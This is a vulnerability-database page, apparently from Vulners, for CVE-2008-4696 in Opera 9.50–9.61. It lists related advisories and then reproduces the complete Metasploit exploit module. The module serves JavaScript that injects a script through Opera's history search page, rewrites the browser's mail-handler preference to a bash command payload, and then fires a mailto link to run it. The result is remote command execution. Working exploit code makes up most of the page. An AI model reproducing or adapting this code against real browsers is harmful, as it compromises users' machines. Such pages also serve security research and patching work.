Opera historysearch - Cross-Site Scripting (Metasploit)

🗓️ 11 Nov 2010 00:00:00Reported by MetasploitType

Opera historysearch XSS - Constructs not escaped correctly by Opera's History Search results, allowing injection of scripts to modify settings and execute commands. Affects Opera 9.50 to 9.61

Reporter	Title	Published	Views	Family All 23
Tenable Nessus	Opera < 9.61 Multiple Vulnerabilities	21 Oct 200800:00	–	nessus
Tenable Nessus	GLSA-200811-01 : Opera: Multiple vulnerabilities	4 Nov 200800:00	–	nessus
Tenable Nessus	Opera < 9.61 Multiple Vulnerabilities	21 Oct 200800:00	–	nessus
Circl	CVE-2008-4696	22 Oct 200800:00	–	circl
CVE	CVE-2008-4696	23 Oct 200821:00	–	cve
Cvelist	CVE-2008-4696	23 Oct 200821:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_OPERAXSS	23 Oct 200822:00	–	d2
Exploit DB	Opera 9.60 - Persistent Cross-Site Scripting	22 Oct 200800:00	–	exploitdb
Exploit DB	Opera 9.50/9.61 historysearch - Command Execution (Metasploit)	23 Oct 200800:00	–	exploitdb
Gentoo Linux	Opera: Multiple vulnerabilities	3 Nov 200800:00	–	gentoo

##
# $Id: opera_historysearch.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::OPERA,
		:javascript => true,
		:rank       => ExcellentRanking, # reliable command execution
		:vuln_test  => %Q{
			v = parseFloat(opera.version());
			if (9.5 < v && 9.62 > v) {
				is_vuln = true;
			}
		},
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Opera historysearch XSS',
			'Description'    => %q{
					Certain constructs are not escaped correctly by Opera's History
				Search results.  These can be used to inject scripts into the
				page, which can then be used to modify configuration settings
				and execute arbitrary commands.  Affects Opera versions between
				9.50 and 9.61.
			},
			'License'        => BSD_LICENSE,
			'Author'         =>
				[
					'Roberto Suggi', # Discovered the vulnerability
					'Aviv Raff <avivra [at] gmail.com>', # showed it to be exploitable for code exec
					'egypt',  # msf module
				],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					['CVE',    '2008-4696'],
					['OSVDB',  '49472'],
					['BID',    '31869'],
					['URL',    'http://www.opera.com/support/kb/view/903/'],
				],
			'Payload'        =>
				{
					'ExitFunc' => 'process',
					'Space'    => 4000,
					'DisableNops' => true,
					'BadChars' => "\x09\x0a\x0d\x20",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby telnet',
						}
				},
			'Targets'        =>
				[
					#[ 'Automatic', {  } ],
					#[ 'Opera < 9.61 Windows',
					#	{
					#		'Platform' => 'win',
					#		'Arch' => ARCH_X86,
					#	}
					#],
					[ 'Opera < 9.61 Unix Cmd',
						{
							'Platform' => 'unix',
							'Arch' => ARCH_CMD,
						}
					],
				],
			'DisclosureDate' => 'Oct 23 2008', # Date of full-disclosure post showing code exec
			'DefaultTarget'  => 0
			))
	end

	def on_request_uri(cli, request)

		headers = {}
		html_hdr = %Q^
			<html>
			<head>
			<title>Loading</title>
			^
		html_ftr = %Q^
			</head>
			<body >
			<h1>Loading</h1>
			</body></html>
			^

		case request.uri
		when /[?]jspayload/
			p = regenerate_payload(cli)
			if (p.nil?)
				send_not_found(cli)
				return
			end
			# We're going to run this through unescape(), so make sure
			# everything is encoded
			penc = Rex::Text.to_hex(p.encoded, "%")
			content =
				%Q{
					var s = document.createElement("iframe");

					s.src="opera:config";
					s.id="config_window";
					document.body.appendChild(s);
					config_window.eval(
						"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +
						"old_app = opera.getPreference('Mail','External Application');" +
						"old_handler = opera.getPreference('Mail','Handler');" +
						"opera.setPreference('Mail','External Application',cmd);" +
						"opera.setPreference('Mail','Handler','2');" +
						"app_link = document.createElement('a');" +
						"app_link.setAttribute('href', 'mailto:[email protected]');" +
						"app_link.click();" +
						"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +
						"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +
					"");
					setTimeout(function () {window.location='about:blank'},1);
				}

		when /[?]history/
			js = %Q^
				window.onload = function() {
					location.href = "opera:historysearch?q=*";
				}
				^
			content = %Q^
				#{html_hdr}
				<script><!--
				#{js}
				//--></script>
				#{html_ftr}
				^
		when get_resource()
			print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")

			js = %Q^
				if (window.opera) {
					var wnd = window;
					while (wnd.parent != wnd) {
						wnd = wnd.parent;
					}
					url = location.href;
					wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";
				}
				^
			content = %Q^
				#{html_hdr}
				<script><!--
				#{js}
				//--></script>
				#{html_ftr}
				^
		else
			print_status("Sending 404 to #{cli.peerhost} for request #{request.uri}")
			send_not_found(cli)
			return
		end
		content.gsub!(/^\t{4}/, '')
		content.gsub!(/\t/, ' ')

		send_response_html(cli, content, headers)
		handler(cli)
	end

end

07 Mar 2011 00:00Current

5.2Medium risk

Vulners AI Score5.2

CVSS 24.3

EPSS0.45729